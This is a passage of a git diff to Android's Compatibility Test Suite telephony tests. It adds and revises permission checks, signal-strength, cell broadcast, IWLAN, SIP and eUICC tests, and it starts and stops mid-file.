+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.telephony.cts.telephonypermission" android:targetSandboxVersion="2">
+
+    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
+
+    <!--
+        The CTS stubs package cannot be used as the target application here,
+        since that requires many permissions to be set. Instead, specify this
+        package itself as the target and include any stub activities needed.
+
+        This test package uses the default InstrumentationTestRunner, because
+        the InstrumentationCtsTestRunner is only available in the stubs
+        package. That runner cannot be added to this package either, since it
+        relies on hidden APIs.
+    -->
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="android.telephony.cts.telephonypermission"
+                     android:label="CTS tests of android.permission">
+        <meta-data android:name="listener"
+            android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
+
+</manifest>
+
diff --git a/tests/tests/telephony/current/permissions/AndroidTest.xml b/tests/tests/telephony/current/permissions/AndroidTest.xml
new file mode 100644
index 0000000..b3cce9e
--- /dev/null
+++ b/tests/tests/telephony/current/permissions/AndroidTest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Telephony Permission test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+
+    <!-- Telephony permission tests do not use any permission not available to instant apps. -->
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+
+    <!-- Install main test suite apk -->
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsTelephonyTestCasesPermissionReadPhoneState.apk" />
+    </target_preparer>
+
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.telephony.cts.telephonypermission" />
+        <option name="runtime-hint" value="1m" />
+    </test>
+</configuration>
diff --git a/tests/tests/telephony/current/permissions/OWNERS b/tests/tests/telephony/current/permissions/OWNERS
new file mode 100644
index 0000000..b19c963
--- /dev/null
+++ b/tests/tests/telephony/current/permissions/OWNERS
@@ -0,0 +1,2 @@
+set noparent
+include ../../telephony/OWNERS
\ No newline at end of file
diff --git a/tests/tests/telephony/current/permissions/src/android/telephony/cts/telephonypermission/TelephonyManagerReadPhoneStatePermissionTest.java b/tests/tests/telephony/current/permissions/src/android/telephony/cts/telephonypermission/TelephonyManagerReadPhoneStatePermissionTest.java
new file mode 100644
index 0000000..9fa1994
--- /dev/null
+++ b/tests/tests/telephony/current/permissions/src/android/telephony/cts/telephonypermission/TelephonyManagerReadPhoneStatePermissionTest.java
@@ -0,0 +1,88 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.cts.telephonypermission;
+
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.fail;
+
+import android.app.UiAutomation;
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.platform.test.annotations.AppModeFull;
+import android.telephony.TelephonyManager;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Test TelephonyManager APIs with READ_PHONE_STATE Permission.
+ */
+@RunWith(AndroidJUnit4.class)
+@AppModeFull(reason = "Cannot grant the runtime permission in instant app mode")
+public class TelephonyManagerReadPhoneStatePermissionTest {
+
+    private boolean mHasTelephony;
+    TelephonyManager mTelephonyManager = null;
+
+    @Before
+    public void setUp() throws Exception {
+        mHasTelephony = getContext().getPackageManager().hasSystemFeature(
+                PackageManager.FEATURE_TELEPHONY);
+        mTelephonyManager =
+                (TelephonyManager) getContext().getSystemService(Context.TELEPHONY_SERVICE);
+        assertNotNull(mTelephonyManager);
+    }
+
+    public static void grantUserReadPhoneStatePermission() {
+        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        uiAutomation.grantRuntimePermission(getContext().getPackageName(),
+                android.Manifest.permission.READ_PHONE_STATE);
+    }
+
+    /**
+     * Verify that TelephonyManager APIs requiring READ_PHONE_STATE Permission must work.
+     * <p>
+     * Requires Permission:
+     * {@link android.Manifest.permission#READ_PHONE_STATE}.
+     *
+     * APIs list:
+     * 1) getNetworkType
+     * TODO Adding more APIs
+     */
+    @Test
+    public void testTelephonyManagersAPIsRequiringReadPhoneStatePermissions() {
+        if (!mHasTelephony) {
+            return;
+        }
+
+        grantUserReadPhoneStatePermission();
+
+        try {
+            mTelephonyManager.getNetworkType();
+        } catch (SecurityException e) {
+            fail("getNetworkType() must not throw a SecurityException with READ_PHONE_STATE" + e);
+        }
+    }
+
+    private static Context getContext() {
+        return InstrumentationRegistry.getContext();
+    }
+}
diff --git a/tests/tests/telephony/current/preconditions/app/src/android/telephony/cts/preconditions/app/TelephonyPreparerAppTest.java b/tests/tests/telephony/current/preconditions/app/src/android/telephony/cts/preconditions/app/TelephonyPreparerAppTest.java
index 3c2c089..7f29da7 100644
--- a/tests/tests/telephony/current/preconditions/app/src/android/telephony/cts/preconditions/app/TelephonyPreparerAppTest.java
+++ b/tests/tests/telephony/current/preconditions/app/src/android/telephony/cts/preconditions/app/TelephonyPreparerAppTest.java
@@ -15,10 +15,15 @@
  */
 package android.telephony.cts.preconditions.app;
 
-import android.content.Context;
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+
+import static org.junit.Assert.assertTrue;
+
 import android.content.pm.PackageManager;
+import android.net.wifi.WifiManager;
 import android.test.AndroidTestCase;
 import android.util.Log;
+
 import com.android.compatibility.common.preconditions.TelephonyHelper;
 
 /**
@@ -27,19 +32,31 @@
 public class TelephonyPreparerAppTest extends AndroidTestCase {
     private static final String TAG = "TelephonyPreparerAppTest";
 
+
+    private boolean hasTelephony() {
+        final PackageManager pm = getContext().getPackageManager();
+        return pm.hasSystemFeature(PackageManager.FEATURE_TELEPHONY);
+    }
+
     /**
      * Test if device has a valid phone number
      * @throws Exception
      */
     public void testPhoneNumberPresent() throws Exception {
-        PackageManager pm = this.getContext().getPackageManager();
-        if (!pm.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
-            return; // do not test for phone number on devices without telephony feature
-        }
+        if (!hasTelephony()) return;
 
         if (!TelephonyHelper.hasPhoneNumber(this.getContext())) {
             Log.e(TAG, "No SIM card with phone number is found in the device, "
                 + "some tests might not run properly");
         }
     }
-}
\ No newline at end of file
+
+    public void testEnsureWifiDisabled() throws Exception {
+        if (!hasTelephony()) return;
+
+        final WifiManager wifiManager = getContext().getSystemService(
+                android.net.wifi.WifiManager.class);
+
+        runWithShellPermissionIdentity(() -> assertTrue(wifiManager.setWifiEnabled(false)));
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java
index 341cba0..b9138b2 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java
@@ -21,8 +21,8 @@
 import static android.app.AppOpsManager.OPSTR_READ_PHONE_STATE;
 import static android.telephony.CarrierConfigManager.KEY_CARRIER_NAME_OVERRIDE_BOOL;
 import static android.telephony.CarrierConfigManager.KEY_CARRIER_NAME_STRING;
+import static android.telephony.CarrierConfigManager.KEY_CARRIER_VOLTE_PROVISIONED_BOOL;
 import static android.telephony.CarrierConfigManager.KEY_FORCE_HOME_NETWORK_BOOL;
-import static android.telephony.CarrierConfigManager.Wifi.KEY_HOTSPOT_MAX_CLIENT_COUNT;
 import static android.telephony.ServiceState.STATE_IN_SERVICE;
 
 import static androidx.test.InstrumentationRegistry.getContext;
@@ -115,7 +115,8 @@
 
     private void checkConfig(PersistableBundle config) {
         if (config == null) {
-            assertFalse("Config should only be null when telephony is not running.", hasTelephony());
+            assertFalse(
+                    "Config should only be null when telephony is not running.", hasTelephony());
             return;
         }
         assertNotNull("CarrierConfigManager should not return null config", config);
@@ -305,7 +306,10 @@
                 mConfigManager.getConfigByComponentForSubId(
                         CarrierConfigManager.Wifi.KEY_PREFIX,
                         SubscriptionManager.getDefaultSubscriptionId());
-        assertEquals(config.size(), 1);
-        assertTrue(config.containsKey(KEY_HOTSPOT_MAX_CLIENT_COUNT));
+        if (config != null) {
+            assertTrue(config.containsKey(CarrierConfigManager.Wifi.KEY_HOTSPOT_MAX_CLIENT_COUNT));
+            assertFalse(config.containsKey(KEY_CARRIER_VOLTE_PROVISIONED_BOOL));
+            assertFalse(config.containsKey(CarrierConfigManager.Gps.KEY_SUPL_ES_STRING));
+        }
     }
 }
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/CellBroadcastDataMigrationTest.java b/tests/tests/telephony/current/src/android/telephony/cts/CellBroadcastDataMigrationTest.java
new file mode 100644
index 0000000..3be25e6
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/CellBroadcastDataMigrationTest.java
@@ -0,0 +1,73 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.cts;
+
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.content.pm.ProviderInfo;
+import android.provider.Telephony.CellBroadcasts;
+import android.util.Log;
+import org.junit.Test;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.fail;
+
+import androidx.test.InstrumentationRegistry;
+
+public class CellBroadcastDataMigrationTest {
+    private static final String TAG = CellBroadcastDataMigrationTest.class.getSimpleName();
+    /**
+     * To support data migration when upgrading from an older device, device need to define
+     * legacy content provider. This tests verify that the legacy cellbroadcast contentprovider
+     * only surfaces data for migration. The data should be protected by proper permissions and
+     * it should be headless without any other activities, services or providers to handle alerts.
+     */
+    @Test
+    public void testLegacyContentProvider() throws Exception {
+        final ProviderInfo legacy = InstrumentationRegistry.getContext().getPackageManager()
+                .resolveContentProvider(CellBroadcasts.AUTHORITY_LEGACY, 0);
+        if (legacy == null) {
+            Log.d(TAG, "Device does not support data migration");
+            return;
+        }
+
+        // Verify that legacy provider is protected with certain permissions
+        assertEquals("Legacy provider at MediaStore.AUTHORITY_LEGACY must protect its data",
+                android.Manifest.permission.READ_CELL_BROADCASTS, legacy.readPermission);
+
+        // And finally verify that legacy provider is headless. We expect the legacy provider only
+        // surface the old data for migration rather than handling emergency alerts.
+        final PackageInfo legacyPackage = InstrumentationRegistry.getContext().getPackageManager()
+                .getPackageInfo(legacy.packageName, PackageManager.GET_ACTIVITIES
+                        | PackageManager.GET_PROVIDERS | PackageManager.GET_RECEIVERS
+                        | PackageManager.GET_SERVICES);
+        assertEmpty("Headless LegacyCellBroadcastContentProvider must have no activities",
+                legacyPackage.activities);
+        assertEquals("Headless LegacyCellBroadcastContentProvider must have exactly one provider",
+                1, legacyPackage.providers.length);
+        assertEmpty("Headless LegacyCellBroadcastContentProvider must have no receivers",
+                legacyPackage.receivers);
+        assertEmpty("Headless LegacyCellBroadcastContentProvider must have no services",
+                legacyPackage.services);
+    }
+
+    private static <T> void assertEmpty(String message, T[] array) {
+        if (array != null && array.length > 0) {
+            fail(message);
+        }
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/CellInfoTest.java b/tests/tests/telephony/current/src/android/telephony/cts/CellInfoTest.java
index a992b9b..c03877c 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/CellInfoTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/CellInfoTest.java
@@ -82,8 +82,8 @@
     private static final int MAX_RSRQ = -3;
     private static final int MIN_RSRQ = -35;
     // Maximum and minimum possible RSSNR values.
-    private static final int MAX_RSSNR = 50;
-    private static final int MIN_RSSNR = 0;
+    private static final int MAX_RSSNR = 30;
+    private static final int MIN_RSSNR = -20;
     // Maximum and minimum possible CQI values.
     private static final int MAX_CQI = 30;
     private static final int MIN_CQI = 0;
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/IwlanModeTest.java b/tests/tests/telephony/current/src/android/telephony/cts/IwlanModeTest.java
new file mode 100644
index 0000000..3786e23
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/IwlanModeTest.java
@@ -0,0 +1,70 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.cts;
+
+import static org.junit.Assert.assertNotEquals;
+
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.os.SystemProperties;
+import android.telephony.TelephonyManager;
+
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.Before;
+import org.junit.Test;
+
+public class IwlanModeTest {
+    private TelephonyManager mTelephonyManager;
+
+    private PackageManager mPackageManager;
+
+    private Context mContext;
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getContext();
+        mPackageManager = mContext.getPackageManager();
+        mTelephonyManager = (TelephonyManager) mContext.getSystemService(Context.TELEPHONY_SERVICE);
+    }
+
+    @Test
+    public void testIwlanMode() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
+
+        // All new devices should not enable IWLAN legacy mode. Legacy mode is for existing old
+        // devices.
+        if (mTelephonyManager.getRadioHalVersion().first >= 1
+                && mTelephonyManager.getRadioHalVersion().second >= 5) {
+            String mode = SystemProperties.get("ro.telephony.iwlan_operation_mode");
+            assertNotEquals("legacy", mode);
+
+            String wlanDataServicePackage = mContext.getResources().getString(
+                    com.android.internal.R.string.config_wlan_data_service_package);
+            assertNotEquals("", wlanDataServicePackage);
+            assertNotEquals("com.android.phone", wlanDataServicePackage);
+
+            String wlanNetworkServicePackage = mContext.getResources().getString(
+                    com.android.internal.R.string.config_wlan_network_service_package);
+            assertNotEquals("", wlanNetworkServicePackage);
+            assertNotEquals("com.android.phone", wlanNetworkServicePackage);
+
+        }
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SignalStrengthTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SignalStrengthTest.java
index 0849b64..4cbe6ad 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/SignalStrengthTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SignalStrengthTest.java
@@ -25,6 +25,9 @@
 
 import android.content.Context;
 import android.content.pm.PackageManager;
+import android.net.ConnectivityManager;
+import android.net.Network;
+import android.net.NetworkCapabilities;
 import android.os.SystemClock;
 import android.telephony.CellSignalStrength;
 import android.telephony.CellSignalStrengthCdma;
@@ -78,6 +81,10 @@
 
         if (!isCamped()) fail("Device is not camped on cellular");
 
+        // Detect accidental connection to Wi-Fi for data, which fails the test,
+        // due to IWLAN often being enabled.
+        assertDeviceIsOnCellDataOrNoData();
+
         SignalStrength ss = mTm.getSignalStrength();
         assertNotNull("TelephonyManager.getSignalStrength() returned NULL!", ss);
 
@@ -98,7 +105,7 @@
         if (dataType != null) types.add(dataType);
 
         Class<? extends CellSignalStrength> voiceType =
-                getSignalStrengthTypeForNetworkType(mTm.getNetworkType());
+                getSignalStrengthTypeForNetworkType(mTm.getVoiceNetworkType());
 
         // Check if camped for Voice-Only
         if (dataType == null && voiceType != null) {
@@ -118,12 +125,13 @@
         }
 
         for (CellSignalStrength css : signalStrengths) {
-            assertTrue("Invalid SignalStrength type detected" + css.getClass(),
-                    types.contains(css.getClass()));
+            assertTrue("Invalid SignalStrength type detected:" + css.getClass()
+                    + " - Allowed Types: " + types, types.contains(css.getClass()));
         }
 
-        assertTrue(!ss.getCellSignalStrengths(dataType).isEmpty()
-                || !ss.getCellSignalStrengths(voiceType).isEmpty());
+        assertTrue("No valid signal strengths reported for the camped/registered network types",
+                (dataType != null && !ss.getCellSignalStrengths(dataType).isEmpty())
+                        || (voiceType != null && !ss.getCellSignalStrengths(voiceType).isEmpty()));
     }
 
     /** Check whether the device is LTE + NR dual connected */
@@ -132,6 +140,15 @@
         return ss != null && ss.getNrState() == NR_STATE_CONNECTED;
     }
 
+    private void assertDeviceIsOnCellDataOrNoData() {
+        ConnectivityManager cm = getContext().getSystemService(ConnectivityManager.class);
+        Network activeNetwork = cm.getActiveNetwork();
+        if (activeNetwork == null) return;
+        assertTrue("Device is connected and using non-cellular data (likely Wi-Fi)",
+                cm.getNetworkCapabilities(activeNetwork)
+                        .hasTransport(NetworkCapabilities.TRANSPORT_CELLULAR));
+    }
+
     /** Get the CellSignalStrength class type that should be returned when using a network type */
     private static Class<? extends CellSignalStrength>
             getSignalStrengthTypeForNetworkType(int networkType) {
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SipManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SipManagerTest.java
index d872b287..9cd1ff3 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/SipManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SipManagerTest.java
@@ -47,13 +47,18 @@
 
     @After
     public void tearDown() throws SipException {
-        for (SipProfile profile : mSipManager.getProfiles()) {
-            mSipManager.close(profile.getUriString());
+        if (mSipManager != null) {
+            for (SipProfile profile : mSipManager.getProfiles()) {
+                mSipManager.close(profile.getUriString());
+            }
         }
     }
 
     @Test
     public void testGetProfiles() throws SipException, ParseException {
+        if (!SipManager.isApiSupported(mContext)) {
+            return;
+        }
         SipProfile sipProfile1 = new SipProfile.Builder(SIP_URI1).build();
         SipProfile sipProfile2 = new SipProfile.Builder(SIP_URI2).build();
         mSipManager.open(sipProfile1);
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SmsCbMessageTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SmsCbMessageTest.java
index e038fef..8b9eaaf 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/SmsCbMessageTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SmsCbMessageTest.java
@@ -298,6 +298,9 @@
         doReturn(-1).when(cursor).getColumnIndex(eq(
                 Telephony.CellBroadcasts.ETWS_WARNING_TYPE));
 
+        doReturn(0).when(cursor).getColumnIndex(eq(
+                Telephony.CellBroadcasts.ETWS_IS_PRIMARY));
+
         doReturn(-1).when(cursor).getColumnIndex(eq(
                 Telephony.CellBroadcasts.CMAS_MESSAGE_CLASS));
 
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
index c7b14ec..92dd117 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
@@ -99,9 +99,6 @@
     public static void setUpClass() throws Exception {
         if (!isSupported()) return;
 
-        InstrumentationRegistry.getInstrumentation().getUiAutomation()
-                .executeShellCommand("svc wifi disable");
-
         final TestNetworkCallback callback = new TestNetworkCallback();
         final ConnectivityManager cm = InstrumentationRegistry.getContext()
                 .getSystemService(ConnectivityManager.class);
@@ -122,9 +119,6 @@
     @AfterClass
     public static void tearDownClass() throws Exception {
         if (!isSupported()) return;
-
-        InstrumentationRegistry.getInstrumentation().getUiAutomation()
-                .executeShellCommand("svc wifi enable");
     }
 
     @Before
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyLocationTests.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyLocationTests.java
index 1c8e0c5..7b522f7 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyLocationTests.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyLocationTests.java
@@ -13,6 +13,7 @@
 import android.os.Bundle;
 import android.os.IBinder;
 import android.os.RemoteException;
+import android.telephony.CellInfo;
 import android.telephony.CellLocation;
 import android.telephony.NetworkRegistrationInfo;
 import android.telephony.ServiceState;
@@ -193,8 +194,25 @@
                 }
             }, Manifest.permission.ACCESS_COARSE_LOCATION);
         }, Manifest.permission.ACCESS_FINE_LOCATION);
-
     }
+
+    @Test
+    public void testSdk28CellInfoUpdate() {
+        if (!mShouldTest) return;
+
+        // Verify that a target-sdk 28 app still requires fine location access
+        // to call requestCellInfoUpdate
+        withRevokedPermission(LOCATION_ACCESS_APP_SDK28_PACKAGE, () -> {
+            try {
+                List<CellInfo> cis = (List<CellInfo>) performLocationAccessCommandSdk28(
+                        CtsLocationAccessService.COMMAND_REQUEST_CELL_INFO_UPDATE);
+                assertTrue(cis == null || cis.isEmpty());
+            } catch (SecurityException e) {
+                // expected
+            }
+        }, Manifest.permission.ACCESS_FINE_LOCATION);
+    }
+
     private ICtsLocationAccessControl getLocationAccessAppControl() {
         Intent bindIntent = new Intent(CtsLocationAccessService.CONTROL_ACTION);
         bindIntent.setComponent(new ComponentName(
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
index 675947c..193f8fb 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
@@ -16,6 +16,8 @@
 
 package android.telephony.cts;
 
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+
 import static com.google.common.truth.Truth.assertThat;
 
 import static org.junit.Assert.assertEquals;
@@ -38,7 +40,6 @@
 import android.database.ContentObserver;
 import android.net.ConnectivityManager;
 import android.net.Uri;
-import android.net.wifi.WifiInfo;
 import android.net.wifi.WifiManager;
 import android.os.AsyncTask;
 import android.os.Build;
@@ -563,7 +564,8 @@
         }
 
         mTelephonyManager.getDefaultRespondViaMessageApplication();
-        mTelephonyManager.getAndUpdateDefaultRespondViaMessageApplication();
+        ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
+                TelephonyManager::getAndUpdateDefaultRespondViaMessageApplication);
     }
 
     /**
@@ -911,19 +913,16 @@
     private String getWifiMacAddress() {
         WifiManager wifiManager = getContext().getSystemService(WifiManager.class);
 
-        boolean enabled = wifiManager.isWifiEnabled();
+        if (wifiManager.isWifiEnabled()) {
+            return wifiManager.getConnectionInfo().getMacAddress();
+        } else {
+            try {
+                runWithShellPermissionIdentity(() -> wifiManager.setWifiEnabled(true));
 
-        try {
-            if (!enabled) {
-                wifiManager.setWifiEnabled(true);
-            }
+                return wifiManager.getConnectionInfo().getMacAddress();
 
-            WifiInfo wifiInfo = wifiManager.getConnectionInfo();
-            return wifiInfo.getMacAddress();
-
-        } finally {
-            if (!enabled) {
-                wifiManager.setWifiEnabled(false);
+            } finally {
+                runWithShellPermissionIdentity(() -> wifiManager.setWifiEnabled(false));
             }
         }
     }
@@ -2076,10 +2075,6 @@
         assertThat(value).isEqualTo(TelephonyManager.UPDATE_AVAILABLE_NETWORKS_SUCCESS);
     }
 
-    private static void assertUpdateAvailableNetworkInvalidArguments(int value) {
-        assertThat(value).isEqualTo(TelephonyManager.UPDATE_AVAILABLE_NETWORKS_INVALID_ARGUMENTS);
-    }
-
     private static void assertUpdateAvailableNetworkNoOpportunisticSub(int value) {
         assertThat(value).isEqualTo(
                 TelephonyManager.UPDATE_AVAILABLE_NETWORKS_NO_OPPORTUNISTIC_SUB_AVAILABLE);
@@ -2169,8 +2164,6 @@
         List<AvailableNetworkInfo> availableNetworkInfos = new ArrayList<AvailableNetworkInfo>();
         Consumer<Integer> callbackSuccess =
                 TelephonyManagerTest::assertUpdateAvailableNetworkSuccess;
-        Consumer<Integer> callbackFailure =
-                TelephonyManagerTest::assertUpdateAvailableNetworkInvalidArguments;
         Consumer<Integer> callbackNoOpSub =
                 TelephonyManagerTest::assertUpdateAvailableNetworkNoOpportunisticSub;
         if (subscriptionInfoList == null || subscriptionInfoList.size() == 0
@@ -2188,7 +2181,7 @@
             availableNetworkInfos.clear();
             ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
                     (tm) -> tm.updateAvailableNetworks(availableNetworkInfos,
-                            AsyncTask.SERIAL_EXECUTOR, callbackFailure));
+                            AsyncTask.SERIAL_EXECUTOR, callbackNoOpSub));
         } else {
             AvailableNetworkInfo availableNetworkInfo = new AvailableNetworkInfo(
                     subscriptionInfoList.get(0).getSubscriptionId(),
@@ -2212,20 +2205,21 @@
         if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
             return;
         }
-
-        boolean rebootRequired = ShellIdentityUtils.invokeMethodWithShellPermissions(
-                mTelephonyManager, (tm) -> tm.doesSwitchMultiSimConfigTriggerReboot());
-
-        // It's hard to test if reboot is needed.
-        if (!rebootRequired) {
-            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
-                    (tm) -> tm.switchMultiSimConfig(1));
-            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
-                    (tm) -> tm.switchMultiSimConfig(2));
-        } else {
+        try {
+            mTelephonyManager.switchMultiSimConfig(mTelephonyManager.getActiveModemCount());
+            fail("TelephonyManager#switchMultiSimConfig should require the MODIFY_PHONE_STATE"
+                    + " permission to access.");
+        } catch (SecurityException e) {
+            // expected
+        }
+        try {
             // This should result in no-op.
-            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
-                    (tm) -> tm.switchMultiSimConfig(mTelephonyManager.getPhoneCount()));
+            ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(mTelephonyManager,
+                    (tm) -> tm.switchMultiSimConfig(mTelephonyManager.getActiveModemCount()),
+                    SecurityException.class, "android.permission.MODIFY_PHONE_STATE");
+        } catch (SecurityException e) {
+            fail("TelephonyManager#switchMultiSimConfig should require MODIFY_PHONE_STATE"
+                    + "permission to access.");
         }
     }
 
diff --git a/tests/tests/telephony/current/src/android/telephony/euicc/cts/EuiccManagerTest.java b/tests/tests/telephony/current/src/android/telephony/euicc/cts/EuiccManagerTest.java
index 2b4e3ac..80cfc02 100644
--- a/tests/tests/telephony/current/src/android/telephony/euicc/cts/EuiccManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/euicc/cts/EuiccManagerTest.java
@@ -318,6 +318,11 @@
 
     @Test
     public void testSetSupportedCountries() {
+        // Only test it when EuiccManager is enabled.
+        if (!mEuiccManager.isEnabled()) {
+            return;
+        }
+
         // Get country list for restoring later.
         List<String> originalSupportedCountry = mEuiccManager.getSupportedCountries();
 
@@ -334,6 +339,11 @@
 
     @Test
     public void testSetUnsupportedCountries() {
+        // Only test it when EuiccManager is enabled.
+        if (!mEuiccManager.isEnabled()) {
+            return;
+        }
+
         // Get country list for restoring later.
         List<String> originalUnsupportedCountry = mEuiccManager.getUnsupportedCountries();
 
@@ -350,6 +360,11 @@
 
     @Test
     public void testIsSupportedCountry_returnsTrue_ifCountryIsOnSupportedList() {
+        // Only test it when EuiccManager is enabled.
+        if (!mEuiccManager.isEnabled()) {
+            return;
+        }
+
         // Get country list for restoring later.
         List<String> originalSupportedCountry = mEuiccManager.getSupportedCountries();
 
@@ -365,6 +380,11 @@
 
     @Test
     public void testIsSupportedCountry_returnsTrue_ifCountryIsNotOnUnsupportedList() {
+        // Only test it when EuiccManager is enabled.
+        if (!mEuiccManager.isEnabled()) {
+            return;
+        }
+
         // Get country list for restoring later.
         List<String> originalSupportedCountry = mEuiccManager.getSupportedCountries();
         List<String> originalUnsupportedCountry = mEuiccManager.getUnsupportedCountries();
@@ -384,6 +404,11 @@
 
     @Test
     public void testIsSupportedCountry_returnsFalse_ifCountryIsNotOnSupportedList() {
+        // Only test it when EuiccManager is enabled.
+        if (!mEuiccManager.isEnabled()) {
+            return;
+        }
+
         // Get country list for restoring later.
         List<String> originalSupportedCountry = mEuiccManager.getSupportedCountries();
 
@@ -399,6 +424,11 @@
 
     @Test
